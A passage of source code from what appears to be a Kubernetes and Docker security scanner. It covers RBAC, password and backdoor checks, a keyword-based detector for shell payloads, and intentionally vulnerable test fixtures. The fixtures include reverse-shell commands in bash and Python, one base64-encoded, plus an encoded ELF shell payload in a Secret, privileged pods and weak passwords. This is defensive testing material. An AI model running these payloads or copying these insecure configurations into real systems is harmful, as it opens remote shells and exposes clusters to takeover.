if ok, tlist := checkMatchingRole(clr.Items, []rv1.Role{}, ruleName); ok {
for _, th := range tlist {
th.Type = "ClusterRoleBinding"
th.Param = fmt.Sprintf("binding name: %s "+
"| rolename: %s | role kind: ClusterRole "+
"| subject kind: %s | subject name: %s | namespace: %s",
rb.Name, ruleName, sub.Kind, sub.Name, roleNs)
}
ks.VulnConfigures = append(ks.VulnConfigures, tlist...)
}
}
}
case "ServiceAccount":
if sub.Name != "system:anonymous" && sub.Name != "default" {
continue
}
if ok, tlist := checkMatchingRole(clr.Items, []rv1.Role{}, ruleName); ok {
for _, th := range tlist {
th.Type = "ClusterRoleBinding"
th.Param = fmt.Sprintf("binding name: %s "+
"| rolename: %s | role kind: ClusterRole | "+
"subject kind: ServiceAccount | "+
"subject name: %s | namespace: %s", rb.Name, ruleName, sub.Name, sub.Namespace)
}
ks.VulnConfigures = append(ks.VulnConfigures, tlist...)
}
case "User":
if strings.HasPrefix(sub.Name, "system:kube-") {
continue
}
if ok, tlist := checkMatchingRole(clr.Items, []rv1.Role{}, ruleName); ok {
for _, th := range tlist {
if th.Severity == "medium" {
continue
}
th.Severity = "warning"
th.Type = "ClusterRoleBinding"
th.Describe = fmt.Sprintf("Key permission are given to unknown user '%s', "+
"printing it for checking.", sub.Name)
th.Param = fmt.Sprintf("binding name: %s "+
"| rolename: %s | role kind: ClusterRole | "+
"subject kind: User | subject name: %s | namespace: %s",
rb.Name, ruleName, sub.Name, sub.Namespace)
ks.VulnConfigures = append(ks.VulnConfigures, th)
}
}
}
}
}
return nil
}
func checkMatchingRole(clr []rv1.ClusterRole, rol []rv1.Role, ruleName string) (bool, []*threat) {
var vuln = false
tlist := []*threat{}
checkRule := func(rules []rv1.PolicyRule) bool {
for _, rul := range rules {
if len(rul.Resources) < 1 {
continue
}
th := &threat{}
// Check whether all permission are given
if rul.Verbs[0] == "*" && rul.Resources[0] == "*" {
th.Value = fmt.Sprintf("verbs:* resources:%s", strings.Join(rul.Resources, ", "))
th.Severity = "high"
th.Describe = "All the permission are given to the default service account " +
"which will cause a potential container escape."
vuln = true
tlist = append(tlist, th)
continue
}
if len(rul.Verbs) > 0 {
// Check whether the default account has the permission of pod control
th.Severity, th.Describe = RBACVulnTypeJudge(rul.Verbs, rul.Resources)
if th.Severity == "warning" {
continue
}
th.Value = fmt.Sprintf("verbs: %s | resources: %s",
strings.Join(rul.Verbs, ", "),
strings.Join(rul.Resources, ", "))
tlist = append(tlist, th)
vuln = true
}
}
return vuln
}
// Check clusterrole
for _, r := range clr {
if ruleName != r.Name {
continue
}
vuln = checkRule(r.Rules)
}
// Check role
for _, r := range rol {
if ruleName != r.Name {
continue
}
vuln = checkRule(r.Rules)
}
return vuln, tlist
}
func (ks *KScanner) checkConfigMap(ns string) error {
var password string
cfs, err := ks.KClient.
CoreV1().
ConfigMaps(ns).
List(context.TODO(), metav1.ListOptions{})
if err != nil {
return err
}
for _, cf := range cfs.Items {
data := cf.Data
for k, v := range data {
needCheck := false
for _, p := range passKey {
if p.MatchString(k) {
password = v
needCheck = true
break
}
}
passUrlMatch := regexp.MustCompile(`\w+\+\w+\://\w+\:(.*)?\@`)
pass := passUrlMatch.FindStringSubmatch(v)
if len(pass) > 1 {
password = pass[1]
needCheck = true
}
if needCheck {
switch checkWeakPassword(password) {
case "Weak":
th := &threat{
Param: fmt.Sprintf("ConfigMap Name: %s Namespace: %s", cf.Name, ns),
Value: fmt.Sprintf("%s:%s", k, v),
Type: "ConfigMap",
Describe: fmt.Sprintf("ConfigMap has found weak password: '%s'.", password),
Severity: "high",
}
ks.VulnConfigures = append(ks.VulnConfigures, th)
case "Medium":
th := &threat{
Param: fmt.Sprintf("ConfigMap Name: %s Namespace: %s", cf.Name, ns),
Value: fmt.Sprintf("%s:%s", k, v),
Type: "ConfigMap",
Describe: fmt.Sprintf("ConfigMap has found password '%s' "+
"need to be reinforeced.", password),
Severity: "medium",
}
ks.VulnConfigures = append(ks.VulnConfigures, th)
}
}
// Check whether payload is hidden in the secret value
detect := maliciousContentCheck(v)
th := &threat{
Param: fmt.Sprintf("ConfigMap Name: %s Namspace: %s", cf.Name, ns),
Value: fmt.Sprintf("%s:%s", k, detect.Plain),
Type: "ConfigMap",
}
switch detect.Types {
case Confusion:
th.Describe = fmt.Sprintf("ConfigMap finds high risk content(score: %.2f bigger than 0.75), "+
"which is a suspect command backdoor. ", detect.Score)
th.Severity = "high"
ks.VulnConfigures = append(ks.VulnConfigures, th)
case Executable:
th.Describe = "An executable format of content is detected in ConfigMap value, " +
"which is a potential backdoor and scanning the vulnerability is highly recommended."
th.Severity = "critical"
ks.VulnConfigures = append(ks.VulnConfigures, th)
default:
// ignore
}
}
}
return nil
}
func (ks *KScanner) checkSecret(ns string) error {
var password string
ses, err := ks.KClient.
CoreV1().
Secrets(ns).
List(context.TODO(), metav1.ListOptions{})
if err != nil {
return err
}
for _, se := range ses.Items {
data := se.Data
for k, v := range data {
needCheck := false
if k == ".dockerconfigjson" {
th := &threat{
Param: fmt.Sprintf("Secret Name: %s | Namspace: %s", se.Name, ns),
Value: fmt.Sprintf("%s:%s", k, string(v[:50])),
Type: "Secret",
Describe: "Secret has found account info .dockerconfigjson " +
"in this service account.",
Severity: "low",
}
ks.VulnConfigures = append(ks.VulnConfigures, th)
continue
}
for _, p := range passKey {
if p.MatchString(k) {
needCheck = true
break
}
}
if needCheck {
password = string(v)
switch checkWeakPassword(password) {
case "Weak":
th := &threat{
Param: fmt.Sprintf("Secret Name: %s | Namspace: %s", se.Name, ns),
Value: fmt.Sprintf("%s:%s", k, v),
Type: "Secret",
Describe: fmt.Sprintf("Secret has found weak password: '%s'.", password),
Severity: "high",
}
ks.VulnConfigures = append(ks.VulnConfigures, th)
case "Medium":
th := &threat{
Param: fmt.Sprintf("Secret Name: %s | Namspace: %s", se.Name, ns),
Value: fmt.Sprintf("%s:%s", k, v),
Type: "Secret",
Describe: fmt.Sprintf("Secret has found password '%s' "+
"need to be reinforeced.", password),
Severity: "medium",
}
ks.VulnConfigures = append(ks.VulnConfigures, th)
}
}
// Check whether payload is hidden in the secret value
detect := maliciousContentCheck(string(v))
th := &threat{
Param: fmt.Sprintf("Secret Name: %s Namspace: %s", se.Name, ns),
Value: fmt.Sprintf("%s:%s", k, detect.Plain),
Type: "Secret",
}
switch detect.Types {
case Confusion:
th.Describe = fmt.Sprintf("Secret finds high risk content(score: %.2f bigger than 0.75), "+
"which is a suspect command backdoor. ", detect.Score)
th.Severity = "high"
ks.VulnConfigures = append(ks.VulnConfigures, th)
case Executable:
th.Describe = "An executable format of content is detected in Secret value, " +
"which is a potential backdoor and scanning the vulnerability is highly recommended."
th.Severity = "critical"
ks.VulnConfigures = append(ks.VulnConfigures, th)
default:
// ignore
}
}
}
return nil
}
func (ks *KScanner) checkSecretFromName(ns, key, seName, envName string) (bool, *threat) {
var vuln = false
th := &threat{}
ses, err := ks.KClient.
CoreV1().
Secrets(ns).
List(context.TODO(), metav1.ListOptions{})
if err != nil {
return vuln, th
}
for _, se := range ses.Items {
data := se.Data
if se.Name != seName {
continue
}
vuln, th = findVulnEnvName[[]byte](data, key, envName, "secret")
}
return vuln, th
}
func (ks *KScanner) checkConfigFromName(ns, key, seName, envName string) (bool, *threat) {
var vuln = false
th := &threat{}
ses, err := ks.KClient.
CoreV1().
ConfigMaps(ns).
List(context.TODO(), metav1.ListOptions{})
if err != nil {
return vuln, th
}
for _, se := range ses.Items {
data := se.Data
if se.Name != seName {
continue
}
vuln, th = findVulnEnvName[string](data, key, envName, "configmap")
}
return vuln, th
}
func (ks *KScanner) findSecretOrConfigMapValue(name, com, ns string) string {
switch com {
case "ConfigMap":
ses, err := ks.KClient.
CoreV1().
ConfigMaps(ns).
List(context.TODO(), metav1.ListOptions{})
if err != nil {
return ""
}
for _, se := range ses.Items {
data := se.Data
for k, v := range data {
if k == name {
return v
}
}
}
case "Secret":
ses, err := ks.KClient.
CoreV1().
Secrets(ns).
List(context.TODO(), metav1.ListOptions{})
if err != nil {
return ""
}
for _, se := range ses.Items {
data := se.Data
for k, v := range data {
if k == name {
return string(v)
}
}
}
default:
// ignore
}
return ""
}
func findVulnEnvName[T []byte | string](data map[string]T, key, envName, tp string) (bool, *threat) {
var vuln = false
th := &threat{}
for k, v := range data {
if k != key {
continue
}
// Skip the username
userReg := regexp.MustCompile(`(?i)user`)
if userReg.MatchString(k) {
skipCheck := true
for _, reg := range passKey {
if reg.MatchString(k) {
skipCheck = false
break
}
}
if skipCheck {
continue
}
}
password := string(v)
switch checkWeakPassword(password) {
case "Weak":
th = &threat{
Value: fmt.Sprintf("%s:%s", k, v),
Type: fmt.Sprintf("Sidecar Env %s", tp),
Describe: fmt.Sprintf("Sidecar env '%s' has found weak key: '%s'.", envName, password),
Severity: "high",
}
vuln = true
break
case "Medium":
th = &threat{
Value: fmt.Sprintf("%s:%s", k, v),
Type: fmt.Sprintf("Sidecar Env %s", tp),
Describe: fmt.Sprintf("Sidecar env '%s' has found key '%s' "+
"need to be reinforeced.", envName, password),
Severity: "medium",
}
vuln = true
break
default:
// ingore
}
}
return vuln, th
}
func RBACVulnTypeJudge(rules, resources []string) (string, string) {
var severity = "warning"
var description string
dangerResources := []string{"pods", "deployments", "statefulsets",
"serviceaccounts"}
dangerRules := []string{"create", "update", "patch", "delete", "impersonate"}
sensitiveResources := []string{"secrets", "configmaps"}
secretLeakage := false
if resources[0] == "*" {
severity = "medium"
goto rulesJudge
}
for _, resource := range resources {
for _, drs := range dangerResources {
switch {
case resource == drs:
severity = "medium"
break
case strings.HasPrefix(resource, drs):
if severity != "warning" {
severity = "low"
}
}
}
for _, srs := range sensitiveResources {
if resource == srs {
severity = "medium"
secretLeakage = true
break
}
}
}
if rules[0] == "*" {
switch severity {
case "medium":
severity = "high"
description = "All permissions with key resources given to the default service account, " +
"which will cause a potential container escape."
case "low":
severity = "medium"
description = "All permissions with some resources are given to the default service account " +
"which will cause a potential data leakage."
case "warning":
severity = "low"
description = "All permissions with unknown resources are given to the default service account " +
"which will cause a potential data leakage."
}
goto otherJudge
}
rulesJudge:
for _, verb := range rules {
for _, drl := range dangerRules {
if verb != drl {
continue
}
switch severity {
case "medium":
severity = "high"
description = "Key permissions with key resources given to the default service account, " +
"which will cause a potential data leakage."
case "low":
severity = "medium"
description = "Key permissions with some resources are given to the default service account " +
"which will cause a potential data leakage."
case "warning":
severity = "low"
description = "Key permissions with unknown resources are given to the default service account " +
"which will cause a potential data leakage."
}
break
}
}
otherJudge:
if description == "" {
switch severity {
case "medium":
if secretLeakage {
severity = "high"
description = "Secret view permission is given to the default service account, " +
"which will cause a data leakage."
} else {
description = "Some permissions with key resources given to the default service account, " +
"which will cause a potential data leakage."
}
case "low":
description = "Some permissions with some resources are given to the default service account " +
"which will cause a potential data leakage."
case "warning":
description = "Some permissions with unknown resources are given to the default service account " +
"which will cause a potential data leakage."
}
}
return severity, description
}
================================================
FILE: internal/analyzer/scanner.go
================================================
package analyzer
import (
"github.com/kvesta/vesta/pkg/inspector"
"k8s.io/client-go/kubernetes"
"k8s.io/client-go/rest"
)
type Scanner struct {
DApi inspector.DockerApi
VulnContainers []*container
EngineVersion string
ServerVersion string
}
type container struct {
ContainerID string
ContainerName string
Status string
NodeName string
// For kubernetes
Namepsace string
Threats []*threat
}
type threat struct {
Param string
Value string
Type string
Describe string
Severity string
Reference string
}
type KScanner struct {
KClient *kubernetes.Clientset
KConfig *rest.Config
Version string
MasterNodes map[string]*nodeInfo
VulnConfigures []*threat
VulnContainers []*container
}
type nodeInfo struct {
Role map[string]string
IsMaster bool
InternalIP string
}
================================================
FILE: internal/analyzer/testdata/Dockerfile
================================================
FROM busybox:latest
LABEL maintainer="vuln docker image"
ENV SECRET_KEY=123456
# bash -i >&/dev/tcp/127.0.0.1/9999 0>&1
ENV command=YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS85OTk5IDA+JjEK
RUN echo "password=${SECRET_KEY}" > /etc/config.ini && \
echo "normal string" && \
echo "bash -i >&/dev/tcp/10.0.0.1/9999 0>&1" > /tmp/file
CMD ["tail", "-f", "/dev/null"]
================================================
FILE: internal/analyzer/testdata/clusterrolebinding.yaml
================================================
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
namespace: default
name: vuln-clusterrole
rules:
- apiGroups: [""]
resources: ["pods", "services"]
verbs: ["get", "watch", "list", "create", "update"]
---
kind: ClusterRoleBinding
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: vuln-clusterrolebinding
subjects:
- kind: ServiceAccount
name: default
namespace: default
- kind: Group
name: system:serviceaccounts:vuln
apiGroup: rbac.authorization.k8s.io
- kind: Group
name: system:unauthenticated
apiGroup: rbac.authorization.k8s.io
roleRef:
kind: ClusterRole
name: vuln-clusterrole
apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRoleBinding
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: vuln-clusterrolebinding2
subjects:
- kind: Group
name: system:serviceaccounts:vuln
apiGroup: rbac.authorization.k8s.io
- kind: Group
name: system:unauthenticated
apiGroup: rbac.authorization.k8s.io
- kind: User
name: testUser
apiGroup: rbac.authorization.k8s.io
roleRef:
kind: ClusterRole
name: vuln-clusterrole
apiGroup: rbac.authorization.k8s.io
================================================
FILE: internal/analyzer/testdata/configmap.yaml
================================================
apiVersion: v1
kind: ConfigMap
metadata:
name: vulnconfig
labels:
app: configmap
data:
POSTGRES_PASSWORD: postgres
db.string: "mysql+pymysql://dbapp:Password123@db:3306/db"
================================================
FILE: internal/analyzer/testdata/daemonset.yaml
================================================
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: vuln-daemonset
namespace: kube-system
labels:
k8s-app: vuln-daemonset-labels
spec:
selector:
matchLabels:
name: vuln-daemonset-pod
template:
metadata:
labels:
name: vuln-daemonset-pod
spec:
tolerations:
- key: node-role.kubernetes.io/control-plane
operator: Exists
effect: NoSchedule
- key: node-role.kubernetes.io/master
operator: Exists
effect: NoSchedule
containers:
- name: daemonset-pod
image: nginx:latest
imagePullPolicy: IfNotPresent
securityContext:
privileged: true
resources:
limits:
memory: 200Mi
requests:
cpu: 100m
memory: 200Mi
terminationGracePeriodSeconds: 30
================================================
FILE: internal/analyzer/testdata/docker-compose.yaml
================================================
services:
web:
image: vesta-vuln-test:latest
build:
dockerfile: Dockerfile
================================================
FILE: internal/analyzer/testdata/job.yaml
================================================
apiVersion: batch/v1
kind: Job
metadata:
name: vulnjob
spec:
template:
spec:
containers:
- name: vulnjob
image: python:3.8.10
command: ["python3", "-e", "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",9000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);"]
restartPolicy: Never
backoffLimit: 4
================================================
FILE: internal/analyzer/testdata/pod.yaml
================================================
apiVersion: v1
kind: Pod
metadata:
name: vulntest
labels:
app: vulntest
spec:
automountServiceAccountToken: false
containers:
- name: vulntest
image: nginx
imagePullPolicy: IfNotPresent
volumeMounts:
- name: test-volume
mountPath: /opt/vulntest
ports:
- containerPort: 80
securityContext:
privileged: true
resources:
limits:
cpu: "1"
ephemeral-storage: "1Gi"
- name: sidecartest
image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
env:
- name: MYSQL_ROOT_PASSWORD
value: password
- name: MALWARE
value: "bash -i >& /dev/tcp/127.0.0.1/9999 0>&1"
- name: NO_PASSWORD
valueFrom:
resourceFieldRef:
containerName: test-volume
resource: requests.cpu
- name: env_secret
valueFrom:
secretKeyRef:
name: vuln-secret-pod-env
key: key
optional: false
volumes:
- name: test-volume
hostPath:
path: /etc/
type: Directory
---
apiVersion: v1
kind: Secret
metadata:
name: vuln-secret-pod-env
type: kubernetes.io/basic-auth
stringData:
username: mysecret
password: Password123
---
apiVersion: v1
kind: Pod
metadata:
name: vulntest2
labels:
app: vulntest2
annotations:
seccomp.security.alpha.kubernetes.io/allowedProfileNames: '*'
spec:
containers:
- name: vulntest2
image: nginx
imagePullPolicy: IfNotPresent
volumeMounts:
ports:
- containerPort: 80
securityContext:
capabilities:
add: ["CAP_SYS_ADMIN"]
envFrom:
- configMapRef:
name: vuln-env-config
---
apiVersion: v1
kind: ConfigMap
metadata:
name: vuln-env-config
data:
Token: Password123456
================================================
FILE: internal/analyzer/testdata/podsecuritypolicy.yaml
================================================
apiVersion: policy/v1beta1
kind: PodSecurityPolicy
metadata:
name: pod-security-policy-vuln
spec:
privileged: true
seLinux:
rule: RunAsAny
supplementalGroups:
rule: RunAsAny
runAsUser:
rule: RunAsAny
fsGroup:
rule: RunAsAny
defaultAddCapabilities:
- ALL
================================================
FILE: internal/analyzer/testdata/pv.yaml
================================================
apiVersion: v1
kind: PersistentVolume
metadata:
name: testpv
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 1Gi
accessModes:
- ReadWriteMany
hostPath:
path: "/etc/"
================================================
FILE: internal/analyzer/testdata/pvc.yaml
================================================
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: pvc
spec:
storageClassName: manual
accessModes:
- ReadWriteMany
resources:
requests:
storage: 1Gi
================================================
FILE: internal/analyzer/testdata/rolebinding.yaml
================================================
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
namespace: default
name: vuln-role
rules:
- apiGroups: [""]
resources: ["pods", "services"]
verbs: ["get", "watch", "list", "create", "update"]
---
kind: RoleBinding
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: vuln-rolebinding
namespace: default
subjects:
- kind: ServiceAccount
name: default
namespace: default
- kind: Group
name: system:serviceaccounts
apiGroup: rbac.authorization.k8s.io
- kind: Group
name: system:authenticated
apiGroup: rbac.authorization.k8s.io
roleRef:
kind: Role
name: vuln-role
apiGroup: rbac.authorization.k8s.io
---
kind: RoleBinding
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: vuln-rolebinding2
namespace: default
subjects:
- kind: Group
name: system:authenticated
apiGroup: rbac.authorization.k8s.io
roleRef:
kind: Role
name: vuln-role
apiGroup: rbac.authorization.k8s.io
================================================
FILE: internal/analyzer/testdata/secret.yaml
================================================
apiVersion: v1
kind: Secret
metadata:
name: vulnsecret-basic-auth
type: kubernetes.io/basic-auth
stringData:
username: admin
password: Password123
---
apiVersion: v1
kind: Secret
metadata:
name: vulnsecret
type: Opaque
data:
USER_NAME: YWRtaW4=
PASSWORD: YWRtaW4=
---
apiVersion: v1
kind: Secret
metadata:
name: malicioussecret
type: Opaque
data:
content: f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAowAAAAAAAADOAAAAAAAAAAAQAAAAAAAASLgvYmluL3NoAJlQVF9SZmgtY1ReUugHAAAAd2hvYW1pAFZXVF5qO1gPBQ==
---
apiVersion: v1
kind: Secret
type: kubernetes.io/dockerconfigjson
metadata:
name: vuln-docker-json
data:
.dockerconfigjson:
ewogICAgImF1dGhzIjogewogICAgICAgICJwcml2YXRlLnJlZ2lzdHJ5LmV4YW1wbGUuY29tIjogewogICAgICAgICAgICAidXNlcm5hbWUiOiAidXNlcm5hbWUiLAogICAgICAgICAgICAicGFzc3dvcmQiOiAicGFzc3dvcmQiLAogICAgICAgICAgICAiZW1haWwiOiAiYWRtaW5AYWRtaW4uY29tIiwKICAgICAgICAgICAgImF1dGgiOiAiZG5Wc2JtUnZZMnRsY2pwd1lYTnpkMjl5WkFvPSIKICAgICAgICB9CiAgICB9Cn0K
================================================
FILE: internal/analyzer/utils.go
================================================
package analyzer
import (
"bytes"
"context"
"encoding/base64"
"fmt"
"math"
"regexp"
"sort"
"strings"
"time"
version2 "github.com/hashicorp/go-version"
"github.com/kvesta/vesta/config"
v1 "k8s.io/api/core/v1"
metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
)
var (
baseMatch = regexp.MustCompile(`^([A-Za-z0-9+/]{4})*([A-Za-z0-9+/]{3}=|[A-Za-z0-9+/]{2}==)?$`)
passKey = []*regexp.Regexp{
regexp.MustCompile(`(?i)pass`),
regexp.MustCompile(`(?i)pwd`),
regexp.MustCompile(`(?i)token`),
regexp.MustCompile(`(?i)secret`),
regexp.MustCompile(`(?i)key$`),
regexp.MustCompile(`(?i)key[^.]`),
}
// Reference: https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv
cveRuncRegex = regexp.MustCompile(`(?i)/proc/self/fd`)
dangerPrefixMountPaths = []string{"/etc/crontab", "/var/run", "/run/containerd",
"/sys/fs/cgroup", "/root/.ssh"}
dangerFullPaths = []string{"/", "/etc", "/proc", "/proc/1", "/sys", "/root", "/var/log",
"/c", "/c/Users", "/private/etc"}
namespaceWhileList = []string{"istio-system", "kube-system", "kube-public", "ingress-nginx",
"kubesphere-router-gateway", "kubesphere-system", "openshift-sdn", "openshift-node", "openshift-infra"}
dangerCaps = map[string]string{
"SYS_ADMIN": "critical", "CAP_SYS_ADMIN": "critical",
"CAP_SYS_PTRACE": "high", "CAP_SYS_MODULE": "high",
"CAP_SYS_CHROOT": "high", "SYS_PTRACE": "high",
"DAC_OVERRIDE": "high", "CAP_BPF": "medium",
"CAP_DAC_READ_SEARCH": "medium", "NET_ADMIN": "medium",
}
unsafeAnnotations = map[string]AnType{
"sidecar.istio.io/proxyImage": {component: "istio", level: "warning"},
"sidecar.istio.io/userVolumeMount": {component: "istio", level: "warning"},
"seccomp.security.alpha.kubernetes.io/allowedProfileNames": {component: "PodSecurityPolicy", level: "medium", Values: []string{"*"}},
"apparmor.security.beta.kubernetes.io/allowedProfileNames": {component: "PodSecurityPolicy", level: "medium", Values: []string{"*"}},
"nginx.ingress.kubernetes.io/permanent-redirect": {component: "nginx ingress", level: "medium", Values: []string{"{", ";", "$", "(", "'", `""`}},
"nginx.ingress.kubernetes.io/server-snippet": {component: "nginx ingress", level: "medium", Values: []string{"serviceaccount/token"}},
"security.alpha.kubernetes.io/sysctls": {component: "k8s", level: "low",
Values: []string{"kernel.shm_rmid_forced=0", "net.core.", "kernel.shm", "kernel.msg", "kernel.sem", "fs.mqueue."}},
}
)
type AnType struct {
component string
level string
Values []string
}
func checkWeakPassword(pass string) string {
countCase := 0
pass = string(decodeBase64(pass))
// Particularly checking the keyword
keyWords := []string{"password", "admin", "qwerty", "1q2w3e", "123456"}
for _, keyword := range keyWords {
replmatch := regexp.MustCompile(fmt.Sprintf(`(?i)%s`, keyword))
pass = replmatch.ReplaceAllString(pass, "")
}
length := len(pass)
lowerCase := regexp.MustCompile(`[a-z]`)
lowerMatch := lowerCase.FindStringSubmatch(pass)
if len(lowerMatch) > 0 {
countCase += 1
}
upperCase := regexp.MustCompile(`[A-Z]`)
upperMatch := upperCase.FindStringSubmatch(pass)
if len(upperMatch) > 0 {
countCase += 2
}
numberCase := regexp.MustCompile(`[\d]`)
numberMatch := numberCase.FindStringSubmatch(pass)
if len(numberMatch) > 0 {
countCase += 1
}
characterCase := regexp.MustCompile(`[^\w]`)
characterMatch := characterCase.FindStringSubmatch(pass)
if len(characterMatch) > 0 {
countCase += 1
}
if length <= 6 {
switch countCase {
case 3, 4:
return "Medium"
default:
return "Weak"
}
} else if length > 6 && length <= 10 {
switch countCase {
case 4, 3:
return "Strong"
case 2:
return "Medium"
case 1, 0:
return "Weak"
}
} else {
if countCase < 2 {
return "Medium"
}
}
return "Strong"
}
func compareVersion(currentVersion, maxVersion, minVersion string) bool {
k1, err := version2.NewVersion(currentVersion)
if err != nil {
return false
}
if strings.Contains(maxVersion, "=") {
maxv, err := version2.NewVersion(maxVersion[1:])
if err != nil {
return false
}
if strings.Contains(minVersion, "=") {
minv, err := version2.NewVersion(minVersion[1:])
if err != nil {
return false
}
if k1.Compare(maxv) <= 0 && k1.Compare(minv) >= 0 {
return true
}
} else {
minv, err := version2.NewVersion(minVersion)
if err != nil {
return false
}
if k1.Compare(maxv) <= 0 && k1.Compare(minv) > 0 {
return true
}
}
} else {
maxv, err := version2.NewVersion(maxVersion)
if err != nil {
return false
}
if strings.Contains(minVersion, "=") {
minv, err := version2.NewVersion(minVersion[1:])
if err != nil {
return false
}
if k1.Compare(maxv) < 0 && k1.Compare(minv) >= 0 {
return true
}
} else {
minv, err := version2.NewVersion(minVersion)
if err != nil {
return false
}
if k1.Compare(maxv) < 0 && k1.Compare(minv) > 0 {
return true
}
}
}
return false
}
func checkPrefixMountPaths(path string) bool {
for _, p := range dangerPrefixMountPaths {
if strings.HasPrefix(path, p) {
return true
}
}
return false
}
func checkFullPaths(path string) bool {
for _, p := range dangerFullPaths {
if path == p {
return true
}
}
return false
}
func checkMountPath(path string) bool {
path = strings.TrimSuffix(path, "/")
return checkPrefixMountPaths(path) || checkFullPaths(path)
}
func sortSeverity(threats []*threat) {
sort.SliceStable(threats, func(i, j int) bool {
return config.SeverityMap[threats[i].Severity] > config.SeverityMap[threats[j].Severity]
})
}
type MalReporter struct {
Types MalLevel
Score float64
Plain string
}
type MalLevel int8
const (
// Unknown item represents the content is normal.
Unknown MalLevel = 0
// Confusion item represents the content matches many safe rules.
Confusion MalLevel = 1
// Executable item represents the content is an executable binary.
Executable MalLevel = 2
)
func maliciousContentCheck(command string) MalReporter {
rep := MalReporter{}
// Some string is encoded many times
sDec := decodeBase64(command)
switch {
case bytes.HasPrefix(sDec, []byte("\x7fELF")), strings.HasPrefix(string(sDec), "\\x7F\\x45\\x4C\\x46"):
rep.Types = Executable
rep.Plain = "ELF LSB executable binary"
rep.Score = 0.9
return rep
case bytes.HasPrefix(sDec, []byte("MZ")), strings.HasPrefix(string(sDec), "\\x4d\\x5a"):
rep.Types = Executable
rep.Plain = "PE32+ executable for MS Windows"
rep.Score = 0.9
default:
// ignore
}
commandPlain := string(sDec)
if isPath(commandPlain) {
rep.Types = Unknown
return rep
}
keySymbolReg := regexp.MustCompile(`[~$&<>*!():=.|\\+#;]`)
SymbolCount := len(keySymbolReg.FindAllString(commandPlain, -1))
keyFuncs := []string{"syscall", "open", "select", "fork", "proc", "system", "exit",
"/dev/tcp/", "/bin/sh", "/bin/bash", "subprocess.", "fsockopen", "TCPSocket", "()", "->"}
var funcCount int
for _, f := range keyFuncs {
funcCount += strings.Count(commandPlain, f) * len(f)
}
replacer := strings.NewReplacer(" ", "", "\n", "", "\t", "")
commandLen := len(replacer.Replace(commandPlain))
score := float64(SymbolCount*3+funcCount) / float64(commandLen)
ratio := math.Pow(10, float64(2))
score = math.Round(score*ratio) / ratio
if commandLen < 30 {
score = 0.0
}
if score > 0.75 {
rep.Types = Confusion
} else {
rep.Types = Unknown
}
rep.Score = score
if len(commandPlain) > 50 {
rep.Plain = commandPlain[:50]
return rep
}
rep.Plain = commandPlain
return rep
}
func decodeBase64(content string) []byte {
normalRegx := regexp.MustCompile(`[\w]`)
res := []byte(content)
for i := 0; i < 10; i++ {
if !baseMatch.Match(res) {
break
}
de, err := base64.StdEncoding.DecodeString(string(res))
if err != nil || len(de) < 1 {
res = []byte(content)
break
}
if len(normalRegx.FindAllSubmatch(de, -1)) < 1 {
break
}
res = de
}
return res
}
func standardDeviation[T float64 | int](num []T) float64 {
var sum, mean, sd float64
length := len(num)
for i := 1; i <= length; i++ {
sum += float64(num[i-1])
}
mean = sum / float64(length)
for j := 0; j < length; j++ {
sd += math.Pow(float64(num[j])-mean, 2)
}
return sd / float64(length)
}
func isPath(content string) bool {
pathRegex := regexp.MustCompile(`(/{0,1}(([\w.\-?]|(\\ ))+/)*([\w.\-?]|(\\ ))+)|/`)
replacer := strings.NewReplacer(";", "", ":", "")
pruneContent := replacer.Replace(content)
pathMatch := pathRegex.FindStringSubmatch(pruneContent)
if len(pathMatch) > 0 && pathMatch[0] == pruneContent {
return true
}
return false
}
func (ks *KScanner) findEnvValue(container v1.Container, name, ns string) string {
var value string
for _, env := range container.Env {
if env.Name == name {
if env.ValueFrom != nil {
switch {
case env.ValueFrom.ConfigMapKeyRef != nil:
configRef := env.ValueFrom.ConfigMapKeyRef
value = ks.findSecretOrConfigMapValue(configRef.Name, "ConfigMap", ns)
case env.ValueFrom.SecretKeyRef != nil:
configRef := env.ValueFrom.SecretKeyRef
value = ks.findSecretOrConfigMapValue(configRef.Name, "Secret", ns)
default:
//ignore
}
} else {
value = env.Value
}
break
}
}
return value
}
func (ks *KScanner) getRBACVulnType(ns string) RBACVuln {
rbv := RBACVuln{
Severity: "warning",
}
clusterNames := []string{}
roleNames := []string{}
getInfo := func(param string) (string, string) {
paramSplit := strings.Split(param, "|")
bindingName := strings.Split(paramSplit[0], ":")[1]
bindingName = strings.TrimSpace(bindingName)
nameSpace := strings.Split(paramSplit[len(paramSplit)-2], ":")[1]
nameSpace = strings.TrimSpace(nameSpace)
return bindingName, nameSpace
}
for _, t := range ks.VulnConfigures {
switch t.Type {
case "ClusterRoleBinding", "RoleBinding":
bn, n := getInfo(t.Param)
switch {
case n != ns && n != "all", t.Severity == "warning":
continue
case config.SeverityMap[rbv.Severity] <
config.SeverityMap[t.Severity]:
rbv.Severity = t.Severity
}
if t.Type == "ClusterRoleBinding" {
clusterNames = append(clusterNames, bn)
} else {
roleNames = append(roleNames, bn)
}
default:
// ignore
}
}
rbv.RoleBinding = strings.Join(roleNames, ", ")
rbv.ClusterRoleBinding = strings.Join(clusterNames, ", ")
return rbv
}
func (ks *KScanner) checkConfigVulnType(ns, name, ty string, configReg *regexp.Regexp) (bool, *threat) {
var vuln = false
th := &threat{}
for _, t := range ks.VulnConfigures {
if t.Type != ty {
